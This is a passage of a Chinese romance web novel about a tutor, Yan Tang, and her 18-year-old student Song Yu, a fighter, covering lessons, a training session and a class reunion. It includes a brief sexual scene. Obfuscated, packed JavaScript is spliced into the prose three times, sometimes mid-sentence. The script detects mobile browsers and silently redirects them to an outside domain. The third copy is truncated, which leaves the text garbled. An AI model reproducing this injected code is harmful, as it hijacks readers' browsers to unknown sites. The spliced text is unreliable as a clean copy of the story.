这是燕棠第一次真正和娜斯佳见面,心里连连惊叹: 她好高啊,她的脸好小啊,她的金发好像绸缎啊。 就算是在斯拉夫人中,面部和身材比例完美的美人也是少见的。娜斯佳无疑是美人中的美人,即便已经有了四十多岁,但身上充满了活力,和二十来岁没什么区别。 难怪宋郁长得那么好,就连照片里那个她没见过的宋郁他哥也像个洋娃娃似的。 “我刚从上海回来,也还没有见到Kirill呢。”娜斯佳相当热情地拉着燕棠喝茶,“和他相处顺利吗?” 听燕棠说宋郁很配合,很好相处的时候,娜斯佳竟然还有一点惊讶。 “看来他很喜欢你。” “嗯?”燕棠有些疑惑她为什么会这么想。 “实不相瞒,我为了管教他而花的精力要远超过我的大儿子。” 娜斯佳端着陶瓷茶杯,微微一笑,然后指着一侧的相框说,“他是个胜负欲很强的孩子,以前跟他的哥哥救下了只山雀,甚至会因为那只山雀更亲近他的哥哥而生气。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14868959|159377||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 燕棠顺着她的指向看过去,照片上两个模样相像的男孩都看着桌面上的一只小鸟,背脊是蓝羽,肚皮洁白,莫名有些眼熟。 娜斯佳又开口了:“如果你遇到了什么麻烦可以跟我说,别让他欺负你。” 大门在这时被打开,是宋郁回来了。 娜斯佳很久没见儿子,起身走过去给他一个大大的拥抱,又是叫“медвежонок”又是叫“honey bear”。 宋郁似乎是想要躲开娜斯佳的手,却还是被亲妈掐住了脸。 他眉头鼻尖都皱起,强忍着不情愿。 “还怪可爱的。”燕棠小声嘟囔了一句。 她在书房刚坐下拿出笔记本,宋郁也进了书房,拉开旁边的椅子坐下,拿起笔转了几圈,冷不丁说了句:“我听见了。” 燕棠茫然抬头,“什么?” 他撑着脸朝她笑:“你刚才夸我‘可爱’。” 这小子最近总是对她笑,笑容太有迷惑性,很晃眼。 他怕是让很多女孩子伤过心吧。 燕棠正这么想着,手中抽出今天准备讲的资料,目光无意间一瞥,忽然注意到窗台那只小鸟标本。 她发现那只标本和刚才照片上那只小鸟一模一样,“那是你和你哥哥捡到那只山雀?” “是的,就是那一只。” 宋郁坦然承认,“我很喜欢它,但它只亲近我哥哥,所以我把它做成标本了。” 见她脸上露出震惊的表情,宋郁才笑着补充:“在它去世以后,你是不是把我想得太残忍了?” 燕棠长长舒了口气,“我差点儿以为你的喜好很特别。” “如果就是像你想的那样呢?” “那是不对的。”燕棠说,“喜欢不应该是伤害,而应该是希望对方好。” 宋郁注视着她,感觉她似乎陷入了某种回忆。 “你是从那天的男人身上学到的吗?” 燕棠意识到他说的是杨一舟,迅速否认。 “是另一个男人?” 她没吱声。 “那是个什么样的人?”宋郁继续问。 燕棠按了下打开笔盖,准备终止这个话题:“小朋友不要多问,该开始学习了。” “我不是小朋友,我已经成年了。” “十八岁在我眼里就是小朋友。” 宋郁长腿一伸,带动椅子滚轮往她身边挪,两人的距离无限拉近,他又问:“既然你不喜欢那天的男人,为什么又要和他在一起?” “他不是我男朋友。” 燕棠跟他解释了相亲的事情,“我的家人希望我尽快结婚。” 宋郁微微皱眉,“为什么?” “因为他们觉得我目前的人生没有别的可能了。” 这是个出乎意料的答案。 宋郁凝视着面前的人。 她低着头,眼皮半垂着,睫毛像帘子般掩藏着眼中的神色。 平淡得有些麻木的神态。 在片刻的安静后,宋郁忽然伸手,指尖触及她的脸颊。 ——暖的,滑的,像牛奶一样,像梦里一样。 他使力捏住。 燕棠疼得跳了起来。 那张麻木的脸变得生动,白皙的脸颊泛起了一片鲜活的嫣红。 她没忍住,瞪了他一眼,“你干嘛?” “抱歉,老师。”宋郁眼里含笑,“突然想这么做。” 见她满眼泪汪汪,他说:“那给你掐回来好了。” 燕棠想起之前娜斯佳捏他脸蛋的样子,确实有些手痒,没忍住上手,往他脸颊一掐—— 她微微睁大眼睛,呼吸一滞。 他他他他他! 他的脸好软啊!!!! 宋郁任由她捏着,忽然又问:“老师你也是这么想的吗?” “嗯?” “你也像你的家人那样想吗?觉得自己的人生就是这样了?” 燕棠怔了下,收回手,不知道该如何回答。 空气安静片刻,她忽然听宋郁字正腔圆地吐出两个中文:“傻逼。” “你说什么?”燕棠茫然抬头。 宋郁支着下颌看着她,说:“我说,让你去和那种男人相亲的做法很‘傻逼’,那个男人也很‘傻逼’。” 书桌正对着窗,光线明亮,他的瞳孔从金棕色变成了带金调的碧绿色。 燕棠愣了片刻。 她听说过这种会变色的瞳孔叫做Hazel eyes,世界上只有5%左右的人有这样的眼睛,很稀有,也很漂亮。 她知道为什么娜斯佳要这么叫他了。 比如此刻,他的确很像浸在蜂蜜里的小甜熊。 * 一天的补习结束,回到宿舍的时候,时间已经不早。 但燕棠还不能睡,这就是打两份工的代价。 另一份工作是学院老师郑琦主持的俄文诗集翻译项目,主要是翻译一些中国市场上没有流通的俄罗斯现代诗人作品,分好几册。 她加入得比较晚,稍微有名的诗集都被其他人认领了,只剩下一本叫做《苦月亮》的冷门诗集,和罗曼·波兰斯基导演的那部电影同名,作者是塔季扬娜·利托娃,一个名不见经传的小诗人。 争取翻译名作,自然是要搏一个能出名的机会。但燕棠对此并无所谓,反正运气从来不会优待她。 她只希望好好翻译完这本,别想上次那样拿不到报酬就行了。 刚打开电脑,父母的消息又持续地弹出。 他们并不是强势的人,但生在小城市,总是很注重人情交往,与其说在意燕棠这次相亲失败,不如说是担忧燕棠之后被人说三道四。 燕棠点开和爸妈的对话框,看见里面絮絮叨叨的话,心里忽然升起一种前所未有的冲动。 她抿了抿唇,同意和对方联络。 很快双方就拉了个群,杨一舟也在里面。他父母说话倒还算缓和,但话里话外都在问燕棠是不是对杨一舟有什么偏见,为什么闹得这么不愉快。 燕棠@了杨一舟。 「我不喜欢你,因为你是个傻逼」 「瞧不起诚实劳动的职业又喜欢从别人身上找优越感」 「装瞎子无视我的拒绝」 「还在长辈面前说我的坏话」 「傻逼傻逼傻逼!!!」 她发完这些消息后,长长吐出了一口气,直接使用群主权限解散群聊。 世界一片清净。 到了熄灯时间,宿舍陷入黑暗。 手机屏幕忽然又亮了一下,她以为是父母的消息,瞥过去一看,却发现是宋郁。 「晚安,老师。」 他用中文例行请安。 身边是老旧的对开玻璃格子窗,被外头的风吹得发出摇动的闷响。 窗下的暖气管散着暖烘烘的热气,一路淌进她的心里。 燕棠裹着毯子,开着台灯,在小书桌前,开始翻译着第一首诗。 /我感激渔夫 用冰冷的鱼叉刺穿我 用尖锐的匕首剖开我 在这清澈动人的贝加尔湖畔 品尝我不为人知的鲜美/ 6.甜熊 北京下雪了。 燕棠先从微信朋友圈知道这个消息,里头一溜儿全是拍夜间落雪的,拍故宫的,拍国贸大裤衩的,很壮观,很好看。 她的心情也很美妙,因为杨一舟这个人在那晚之后就彻底从她生活里消失。 有时候发疯果然比讲道理有效。 姑姑倒是委婉地又问起过他的情况,但她爸妈说:“我们家女儿从小都老老实实的,生这么大的气,肯定是那个小孩有问题。” 这还是表姐跟燕棠说的,难怪姑姑连相亲这两个字都没怎么在群里面提。 此外,燕棠还得知了一个好消息——高中班主任来北京参加研讨会,于是在北京的同学打算组织一次聚餐,定在周六晚上。 她倒并不是想跟其他同学叙旧,毕竟自己的生活实在乏善可陈,不过班主任当年很关照她,很久没见了,她也很想念她。 燕棠在被子里翻了个身,准备起床,忽然感觉一阵疼痛在小腹嚣张泛滥,立刻心道不好。 怕是生理期到了。 她在生理期第一天总会疼得难受,身体比平常要虚弱,不巧外头又下了大雪,这会儿起床都有些困难。 八点十五分,燕棠还是在挣钱的欲望支撑下,凭借超强意志力从床上爬起来。 舍友都还在睡觉,她轻手轻脚地洗漱完后,啃了两块面包,吃了颗止痛药,把红糖水装进保温杯,带着电脑和补习资料出门。 现在是一月初,学校进入了期末季,路上没什么人,但教学楼里的灯都亮着,有不少学生坐在窗边复习。雪下了一夜,灌木从上都铺了一层厚厚的白毯,踩在地面上一步一个脚印,寒意透过雪地靴隐隐渗到脚上。 冷冷冷! 燕棠加快脚步往西门冲,远远就看见一辆如明灯般的黑色商务车停在路边。 一出校门,车门就缓缓打开。 外面天寒地冻,大雪纷飞,坐在车内的宋郁还喝着冰美式,十八岁的大小伙子有着钢铁般的身体,简直是青春无敌。 她坐上车打了个寒颤,打开保温杯喝了一口,然后朝身边的男孩儿伸手:“昨晚作业拿来给我看看。” 宋郁将作业纸从包里抽出来递给她。 作业第一道题:请赏析唐朝诗人李白所著《望庐山瀑布》中的最后一句“疑是银河落九天”。 下面空白处只有一句简短的回答。 宋郁:天tā了,银河diào下来。 看到这一行字,燕棠两眼一黑,也觉得天塌了,本来身体就有些缺血,大脑还真的晕了一秒。 “‘疑’是怀疑的意思。昨天跟你说过这个呀,它都认识你了,你还不认识它。” 燕棠低头用笔圈出不对的地方,跟他解释几个错处。 “你为什么最近总是凶我。”宋郁摸了摸鼻子。 燕棠抬头一看,他脸上竟然写满了委屈。 她迟疑道:“我有吗?” “你刚才对我说话很大声。” 哪有很大声,只是抬了下音量罢了。 “对不起。”燕棠还是放软了声音,“我只是有点着急,你要多背一下答案才行。” 预科考试在三月初,但他在二月有一场比赛,四月有一场比赛,最近陷入了中文多义字和古诗词赏析的苦海,让她这个中文老师压力极大。 她研究了一番预科考试的往年题,发现重复率很高,就算是古诗词赏析也不会超出那几道耳熟能详的古诗。其实关键还是在认字。只要刷题记住答案,考过是没问题的。 可宋郁天生具有质疑精神,总有不一样的理解。 燕棠念叨了一路,宋郁终于保证他会背答案,但条件是老师得对他笑一下。 “来。”燕棠拿起笔,“我再教你一个词。” xī pí xiào liǎn。 嬉皮笑脸。 宋郁问:“这是什么意思?” “就是你刚才那样。”燕棠笑着说。 车在此刻抵达俱乐部门口,查这个词的含义成了宋郁的课后作业。 雪天的清晨总是令人有倦怠感,但俱乐部地下一层已经热闹非凡。选手们在空旷的场地做热身运动,准备开始接下来的体能训练。 现在宋郁已经基本能用简单的中文和其他人交流,也能理解大部分基础中文指令,燕棠只需要坐在一旁观察,将他听不懂和不得不用英文表达的内容记下来,回头再教他用中文说出来。 由于这部分的工作量已经没有之前那么大了,于是她观看训练的过程开始带上了欣赏性质。 选手们的训练服是弹性面料的短袖和中裤,一眼望去简直是场肌肉盛宴,最扎眼的还数宋郁,他长得高,皮肤白,很难让人不注意到他。 训练过程堪称残暴。 燕棠目不转睛地看着不远处。 宋郁上半身靠在卧推凳上,杠铃压在髋部上,两侧分别有四五片看起来重得可怕的杠铃盘。 她在刚上大学的时候有过健身的雄心壮志,还跟舍友一起结伴报过健身房的试课,清楚记得那时的健身教练说过,这个姿势能够提升髋部爆发力和核心稳定性,但对于健身爱好者来说,最好的就是可以用来练蜜桃臀。 当时燕棠还尝试了一下,光是用髋部去推一根光秃秃的杠铃杆,之后几天都酸痛得要升天。 教练唐齐站在一旁,对宋郁说:“重量维持在130公斤吧,先不要往上加了。来,快速推举八次!” 哨声响起,宋郁动了。 结实的大腿肌肉绷紧,臀部紧绷,髋部上推,稳稳地将那130公斤重的杠铃向上推举。 恐怖的体力和爆发力。 燕棠第一次见识的时候目瞪口呆,后来听其他选手科普了一下,才知道这是宋郁这种打轻重量级比赛选手的常规训练重量。 这可是一百三十公斤啊,他的屁股和腰怕是真的钢铁马达。 她看了眼时间,估摸着体能训练快结束了,等会儿是长达一个半小时的战术讨论会,便从口袋里掏出卫生巾,往洗手间去。 几乎所有选手都在训练场地,走廊这边空荡安静,她刚转个弯,忽然听到一丝有些奇怪的声响。 燕棠下意识放慢了脚步,往左手边一看,发现没开灯的会议室里有两个人。 一男一女,男生身材高大,站在桌边,那女孩儿就坐在桌上,双腿分开夹着他的腰,腰被男生的手扣住。 他们在接吻,很投入很动情,燕棠听到了一点暧昧粘稠的水声。 注意到有人来了,那男生转头看向门口,眉头一压一挑,似乎在好奇燕棠要围观到什么时候。 是俱乐部里选手王天铭,他抱着的人竟然是唐蕊心。 燕棠脸色爆红,转身迅速离开,一拐弯就闷头撞上了一个人的胸膛。 “老师?” 她抬头一看,是宋郁。 他刚刚训练完,额头鼻尖还冒着汗,大概是要去休息室拿毛巾。 燕棠想也不想就跳起来,捂住他的嘴,“小声点,走走走。” 宋郁垂眸一看,发现她的脸红透了,一路红到耳朵尖。 “?” 他没有拨开燕棠的手,眼里透出疑惑, 照顾到两个人身高差距太大,他顺手扶住了她的肩膀,免得她踮脚的时候摔倒。 燕棠的脑袋瓜嗡嗡的,甚至没注意到自己拉着宋郁往外走的样子,更像是挂在他身上被拎出去的。 等他们走到了一个无人的角落,宋郁还没放开她。 他闻到她身上有一股浅淡的香气。 茉莉花?还是栀子花? 燕棠推开了宋郁,舒了口气,说:“那边有人。” “所以呢?”他声音有些心不在焉。 “他们.......”燕棠吞吞吐吐。 宋郁看着她这个样子,说:“是天铭和Grace吧?你看见了什么?他们在接吻还是脱衣服?” 燕棠呆了。 他怎么这么淡定?不是,他是怎么知道的? 随后开会的时候,燕棠发现原来大家前两天早就知道这件事了。 王天铭是俱乐部里唯一一个和宋郁一样是轻重量级的选手,浓眉大眼,笑起来的时候有股说不出的痞气,现在在京体大念书,是俱乐部新签下来的人。 这还是红姐告诉她的,据说王天铭早就认识唐蕊心了,追了很久,可惜当时唐蕊心另有所爱...... 红姐说到这里的时候,悄悄指了下燕棠身边的宋郁。 开会时,唐蕊心是挽着王天铭的手走进来的,她毫不在意刚才发生的事情,还跟燕棠招了招手,随后瞥了一眼宋郁,又收回目光。 有人开玩笑对宋郁说:“你在大小姐那里失宠了哦。” 宋郁往后一靠,手搭在身边燕棠的椅背上,笑着用中文说:“关我什么事?” 对面的唐蕊心朝他翻了个白眼。 在旁边默默听的燕棠。脑子里同时冒出两个念头。 ——这臭小子没有心。 ——他中文越说越好了,真不错啊。 教练唐齐叫停了这场八卦,让编外人士唐蕊心出去,免得扰乱会议秩序,室内这才安静下来,开始播放近期ACL的冠军赛视频。 “宋郁,下一期的ACL冠军赛是你最后一场区域性赛事,对后续在UFC的发展很重要,赛事委员会都会关注你的表现,所以.......” 燕棠回过神来,专注于眼前的翻译工作。 * 为了确保宋郁能够顺利通过预科考试,午饭也成了教学时间。 宋郁割开盘子里的牛肉,混着血色的汁水淌在盘子上,发问:“为什么中国人管这叫生肉而不叫死肉?” “因为‘生’在这里描述的不是存活状态,而是烹饪程度,它对应的词是‘熟’。生熟是一个反义词,比如今天你吃的是生牛肉,我吃的是熟牛肉。” “那为什么中国有‘生人’和‘熟人’这两个词?” “在这里,‘生熟’代表熟悉程度,一般会把‘生人’说成‘陌生人’,代表不认识的人。‘熟人’就是已经相互了解的人,比如我和你就是‘熟人’。” “No,我们不是‘熟人’。”宋郁若有所思,笑着对她认真说,“我们已经overcooked了。” 燕棠不得不惊叹他语言天赋超绝,能在用俄语学中文的时候讲一个英语冷笑话。 “那就叫做‘朋友’。”她提示他。 宋郁沉思了片刻,忽然又问:“如果overcooked是‘朋友’,那恋人是什么?” “......是burnt,是подгоревший.”燕棠想了想,开口道。 火焰灼烧的感觉,难道不是跟心动的感觉很像吗? 说到这里,她终于忍不住采访一下自己这位美貌无情的学生。 “你从小应该有很多女孩儿追吧?就没遇到过一个喜欢的?” 说完,燕棠咬了一口盘子里鲜香的龙虾肉。 “为什么要这么问?”宋郁看向她。 “我只是好奇你会喜欢什么样的女孩儿,Grace明明很可爱。” “我没有喜欢过别的女生。” “从来没有?”燕棠这回真的惊讶了,“大好的青春该谈个恋爱呀,不然到我这个时候就会很遗憾了。” “遗憾?”宋郁放下手中的餐具,“为什么?” “因为那是这个年纪里很美好的事情。” 他听出她的语气里有一丝不易察觉的怅然,又问:“你不是也有过喜欢的人吗?” 燕棠笑了,“但人家不喜欢我。” 和宋郁越来越熟悉,她聊起天来倒也没了太多顾忌,用一种过来人的语气跟他说:“总之,两情相悦是件很美好的事情,如果你遇上了喜欢的女孩儿,可别错过了。” 燕棠说完,用纸巾擦了下嘴,抬眼一看,疑惑问道:“你看着我干什么?” “没什么。”宋郁垂下目光,缓慢地切着餐盘中的肉,像是在思索什么。 他平日里很爱笑,但偶尔不笑的时候,倒是有一种冷冽而疏离的感觉,颇像他家照片中那位威严俊美的父亲。 燕棠盯着他看了片刻,有些好奇问:“你哥哥和你长得很像吗?” 宋郁动作一顿,“你为什么会问起他?” “好奇而已。”燕棠随口道,“之前看过你们的合照,你们小时候长得很像。” “我和他一点儿都不像,没人会把我和他弄混。” 宋郁忽然皱眉。 “喔,那你们上学的时候,谁更受女生欢迎?”燕棠更好奇了。 这是高颜值兄弟经常会遇到的问题,很显然宋郁不止被问过一遍。 他放下刀叉,认真对燕棠说:“不管谁更受欢迎,你永远只能是我这边的,因为你是我的老师。” 还真像娜斯佳说的那样,这小子胜负欲真强。 燕棠笑得停不下来,随后感觉到小腹传来一阵疼痛,脸色随即一白,声音也戛然而止。 “怎么了?身体不舒服?”宋郁注意到她的脸色不对。 燕棠摇摇头,从包里又拿出一颗止痛药,含水吞服。对面的宋郁注意到她捂着小腹,立刻反应过来了。 “下午你回去休息吧。” “不用。” 燕棠眉头微微皱起。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14872601|159377||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 估计是上午的药效过了,刚才来商场吃饭时又在雪地里走了一段路,身体受了凉,这会儿又痛得厉害。 等止痛药生效就好了。 生理期的疼痛十分刁钻,从小腹一直蔓延到上腹,一阵一阵地抽痛,导致燕棠走到商场门口的时候仍然脚步虚浮。 商场大门挂着厚重的棉质遮风帘,她把帘子掀开一道缝,外头的冷风便争前恐后地漏进来。 冰冷得令人瑟缩的空气裹在皮肤上,燕棠没忍住打了一个寒颤。 下一秒,她头上忽然罩住一件带着体温的外套,还没等她反应过来,就直接被人抱了起来。 !!! 燕棠吓了一跳,“宋郁!” “裹着吧,别着凉了。我送你回车上,今天下午你好好休息,报酬会照付的。” 隔着一层衣服,宋郁的声音也变得有些模糊。 他把她抱得很稳,还说了句:“老师,你好轻啊。” 燕棠忍不住想,在他这个能臀推130公斤重量的人眼里还有什么是重的吗? 她最重的时候也就五十二公斤! 于是燕棠就这么被宋郁强行运送到了车上,把他的衣服扒拉下来,才发现他只穿了件短袖就在冰天雪地里走了一大段路。 燕棠在俱乐部里待了一段时间,已经知道对于他这种长期进行高强度运动的人来说,身体保护更加重要。 她连忙将外套还给他,“快穿上,回去吧,别着凉了。” 车门缓缓关上,天空又开始飘雪。 她透过车窗,看见那个高挑的身影站在路边,越来越远,变成一道暖色的影子。 * 工作提前结束,燕棠难得睡了个舒服的午觉,晚上起来时宿舍只有舍友王奇雨在。 两人是高中同学,在宿舍几个舍友里关系最好,一起在宿舍里舒舒服服地点了个外卖,听她说起痛经的事情,王奇雨还拿出了珍藏的中药足浴液,和她一起泡脚聊八卦。 “江聿行分手了。”王奇雨坐在宿舍床边,弯腰拿起热水壶,“你的泡脚桶要再加点儿水不?” “加点儿吧。” 燕棠抬腿,被热水泡得红通通的脚轻踩在桶边上,脸上难掩震惊,“他真的分啦?什么时候的事情?” 她脑子里诡异地冒出了一个念头——这么快就分手了,那两盒避孕套应该没用完吧。 “说是刚分,本来到谈婚论嫁的地步了,但那姑娘的爸妈想要个本地女婿。” 王奇雨将脚放入再次变得热乎乎的水里,舒服得浑身一哆嗦。 “哎,这社会真是磋磨人,江聿行好歹也是咱们八中的校草,长那么帅,还是北大的,听说已经被五道口那个红砖砌的地儿录取了,国家顶尖金融人才啊,多好的前途,还被人家嫌是小城市出身,瞧不上呢。” 正聊着,两人微信里就多了个微信群,是用来通知周六的同学聚会的。 建群人就是江聿行,他在当年是班长,做事一直很周到,留有和班上所有同学的微信,如果需要他帮忙,他也会及时回复。 燕棠没忍住点开江聿行的头像,悄咪咪看了一眼他的朋友圈——仅三天可见,背景是一片风景,头像也换了,看上去挺忧郁的。 以前念中学的时候,江聿行的生活总是牵动着她的心,甚至只要他的成绩一出现波动,她就会悄悄往他的书桌里放写着鼓励的纸条,甚至没有署名。 现在想起来,那个举动实在是幼稚到令人想笑。 手机忽然震动两下。 燕棠心无波澜地退出和江聿行的空白聊天框,看到几条新的微信消息,是宋郁发来的。 「身tǐ好了吗?」 「图片.jpg」 「我认真学tí目。」 在高强度的中文交流环境下,宋郁现在勉强能写一些缺胳膊少腿的中文短句,但还是个多音字苦手。 不过宋同学的学习精神倒是很在线,图片上是他乖乖按照燕棠早上的要求,在复习预科往年题的笔记,一些生字还标上了拼音。 燕棠相当欣慰,给他发了条语音消息:“我好多了,今天谢谢你。复习题目做得很好,继续加油!” 说完,又把“身体”和“题目”两个词给他发了一遍,让他记住这两个同音字。 王奇雨在旁边听着,笑着问她:“是你那个宝贝学生又来交作业啦?” 这段时间里,燕棠每天晚上在宿舍都会跟宋郁交流作业,有时候还会打电话跟他讲题,像手把手教小孩儿似的。 燕棠也笑了,“是啊,明明是他要考试,我比他还紧张。” 正说着,宋郁又回复了。 「好的」 「小熊点头.jpg」 燕棠忍俊不禁地看着表情包上那只神情严肃的棕色小熊,顺手把宋郁的备注给改成了“甜熊”。 一开始和他接触的时候,她还以为他是那种花花公子,以至于误解了他出手相助的好意。 燕棠现在觉得宋郁只是个说话比较直白的男孩儿罢了,性格远比她想得要单纯。 他甚至还没到对爱情感兴趣的时候。 * 宋郁放下手机后,走进了浴室,脱下衣裤。 暖调的灯光落在他身上,勾勒出起伏的胸肌和腹肌,他抬手调整花洒方向,侧腰的鲨鱼肌线条分明。 温水泼洒在身上,宋郁将额前的湿发捋至脑后,瞥了眼一旁的沐浴露,忽然又想起了今天上午短暂有过的疑问。 ——她身上的香味是茉莉花还是栀子花? 他猜测那不是香水的味道,应该是女孩子用的护肤乳的味道,因为那气味很浅,需要贴得很近才能闻到。 比如她踮脚靠近他的时候,比如他把她抱在怀里的时候。 即便是这么近的距离,那味道仍然很淡,似乎只有凑近她的脸颊和手去仔细嗅闻,才有可能分辨出那究竟是什么花香。 那次在训练台上教她裸绞技巧的时候,有闻到过这个气味吗? 宋郁仔细回想了一下,发现自己想不起来了。 肯定是因为那时候她的身体太软,他全部的注意力都放在收住力气这件事上,免得伤到她。 一些零零碎碎的感知在他的思绪里漂浮着——皮肤体温、柔软的掌心、因为害羞而发红的耳尖。 水声淅淅沥沥,顺着身体淌下。 宋郁想着他的中文老师,喉结滚动,手臂肌肉绷出凌厉的线条,开始解决今天欲望。 在浴室一待就是一个多小时,仍然没有结束。 他关上花洒,踏出浴室,扯下门口那件曾罩在她身上的薄外套。 深深地吸了一口。 7.过期情书 周五是宋郁在学校上课的时间,燕棠暂时闲下来了,下午便被王奇雨拖着出门去五道口。 “参加同学聚会不得好好打扮一下?赶紧的,跟我去理个发做个美甲,走走走!” “不用了吧......” 燕棠对此毫无积极性。 在王奇雨坚持不懈的蛊惑之下,耳根子软的燕棠答应和她去理个发。 燕棠的头发一直是长发,也没什么发型可言,长了就自己在宿舍对着镜子咔嚓一刀剪成发尾齐平的样子。好在发质不错,乌黑浓密,这样随意弄一下也并不难看。 她进了理发店,被理发师按在镜子前,头发往后束起,露出整个脸蛋。 理发师笑着说:“哎呀,妹妹,你长得好漂亮呀。” 燕棠笑了笑,“哪有......” “真的,你这头发没型儿,太厚了,显得很呆板,我给你修修,弄个层次出来,保准你美美的。” 这家理发店是王奇雨声称她经过全网调研,均衡评价和价格后最好的门店,理发师的水平果然不错。 燕棠剪完头后,王奇雨绕着她转了两圈,百思不得其解:“剪头还真是门学问哈,都是长发,怎么看起来就那么不一样呢?你现在像那种文艺写真里的青春甜妹。” 她很少被夸,这会儿就有些不好意思了,结果王奇雨直接捧住她的脸,“别低头!早说过了,你漂亮的脸蛋应该要造福所有人的眼睛!” 第二天,燕棠去给宋郁上课,也被他盯着看了很久。 她拿起笔,有些紧张地问:“这个发型很奇怪吗?” 其实理发师没有把她的头发剪的太短,只是一层层修剪到脸颊边,发丝的弧度恰好将那张脸蛋托住,完美地展露出来。 宋郁目光在她脸上缓缓挪着,说:“不奇怪,很漂亮。” 他的嘴一向很甜,不是很有参考意义。 燕棠打算过掉这个话题,随即又听他问:“你特地打扮,是要参加什么重要的场合吗?” 燕棠失笑,“不是,就是参加一个同学聚会而已。” “哦,那个不喜欢你的人也会参加吗?” 宋郁的中文学得快,但有点儿像从别人的话里复制粘贴过来的。燕棠反应了好一会儿,才意识到他说的是那天午饭她随口提到她有过一个单恋对象。 稀奇了,他怎么什么都记得。 燕棠点头,“他是班长,这次聚会也是他组织的。” 说到这里,宋郁也不继续问了,可等上课快结束的时候,他忽然又提起这件事。 “那个聚会一定要去吗?我家今天晚上有帝王蟹,你不留下来吃吗?” 前几次补课里,燕棠只要没事,倒是会留下来和宋郁一起吃饭,有时候娜斯佳也会在。她在餐桌上还可以多陪宋郁说几句中文,算是一举两得。 “今天不行。”她遗憾地说,“这是早就约好的事情,而且我很想去看看我的老师。” 宋郁撑着脸垂眼看着自己的作业,又问:“那我写作业的时候有不懂的问题,可以发消息给你吗?” “当然啦。” 六点时,燕棠准时离开宋郁家,搭地铁抵达故宫旁的一家福民坊烤鸭店。这家店的焖炉烤鸭很出名,肉嫩汁香,菜单上都是地道的北方菜。 等她一走进包厢,里面却全是熟悉的南方乡音。 同学们差不多都到了,虽然都在北京,但其实平常都不见面,有的人这几年变化很大,燕棠都有点儿认不出来了。 王奇雨坐在靠墙的地方,正朝她招手,燕棠快步走过去坐下。 “班长去接老师了,估计马上就到。” 正这么说着,他们就到了。 班主任刘志琴老师这几年一直带毕业班,压力大,两鬓又白了不少。 江聿行就站在他身边,今天穿着黑色高领薄毛衣,显得成熟许多,眉眼清俊温和,还是文质彬彬的样子,只不过看得出有一些憔悴。 师生都到齐了,在上菜的间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她当年的确给江聿行写过情书,然后倒霉地被在教室后门偷看自习情况的刘老师收缴了。 但很快燕棠就冷静下来。 因为她从来不署名。 正舒一口气,手机震动了一下,是宋郁又发来新消息。 甜熊:「老师,你在和你喜欢的那个人聊天吗?」 8.他不高兴 “时间不早了,那今天就到这里吧。” 刘老师的声音吸引了燕棠的注意力,见大家都起来送老师,她没来得及回宋郁就收起了手机。 现在是晚上八点半,对年轻人来说还算早。 燕棠给刘老师准备了个小礼物,凑到她身边说:“老师......” “哎,怎么了?” 刘老师刚应了声,旁边就有个人说:“来个人送老师回酒店吧,地方不远,过两条街就是,也算有个伴儿。” 刘老师正愁路上没人聊天,爽快答应,拉住燕棠,“你是不是有话跟我说?晚上没事要忙的话也陪我走走去。” 燕棠愣了一下,就连声道:“喔,好的,我今晚不忙。” “我也一起去吧。”一旁的江聿行说,“虽然这里很安全,但走夜路最好还是该有个男生送。” 其他人便七嘴八舌地说了句“麻烦班长和燕棠”,各自打车坐地铁走了。 燕棠后知后觉地意识到是要和江聿行同行,瞬间觉得有点儿局促,一转头,王奇雨正偷摸地朝她挤眉弄眼,比了个加油的手势。 加哪门子油呢,青春的小车早就报废了。 “以前我就总跟其他任课老师说,燕棠这个孩子在班上安安静静,但很细心的。” 路上,刘老师接过燕棠的礼物,又夸赞了她一番。 燕棠在刚才的餐桌上多数时间都很沉默,这会儿便得到了刘老师的重点关注。 “在大学找男朋友了没有?” “还没有呢。” “未来不想留北京啦?” “不是不想,是找不到合适的工作嘛,回家也挺好的......” 她就这么和老师有一句没一句地聊了一路,反而是走在老师另一侧的江聿行很安静。 这几天都在断断续续下雪,前段时间肆虐的狂风消失得无影无踪,这个时间的马路上车也不算多,积雪铺在街道两侧的绿化带处,路灯昏黄,空气虽冷,但莫名有种和缓的平静。 拐过一个街道是繁华的商业区,枯树上缠绕着明亮斑斓的灯带,别有一番美感。 “那行,我到了。”刘老师站在酒店门口,对江聿行说:“今天辛苦你了,不过还有最后一个任务交给你,就是把女同学平安送到学校。” 江聿行笑着说:“您给的任务,我肯定完成。” 燕棠下意识看了一眼刘老师,便对上她慈爱的笑,然后领悟到了老师的意思,瞬间哭笑不得。 ——当年您收缴我情书的时候可不是这样的啊! 等刘老师走进了酒店,身影消失在电梯间,只剩下燕棠和江聿行的时候,刚才那略有几分的局促终于变成了十分的局促。 江聿行倒是很自然。 他略微低头,借着昏黄的路灯,目光落在她身上,“上次在超市和你见得太匆忙,还没来得及好好聊聊,你现在还在那里工作吗?” 上次的见面对燕棠来说已经够尴尬了,她实在不想回忆。 “早就不在了,换了个兼职,在给一个国外回来的孩子补习中文。” “挺好的,这样也没那么辛苦。” 提起补习这件事,燕棠想起江聿行是学霸,顺嘴便请教:“我记得你高中的时候记东西特别快,有没有什么技巧?我教的学生虽然很聪明,但学习时间不多,我正愁有没有什么快速记忆的方法呢。” 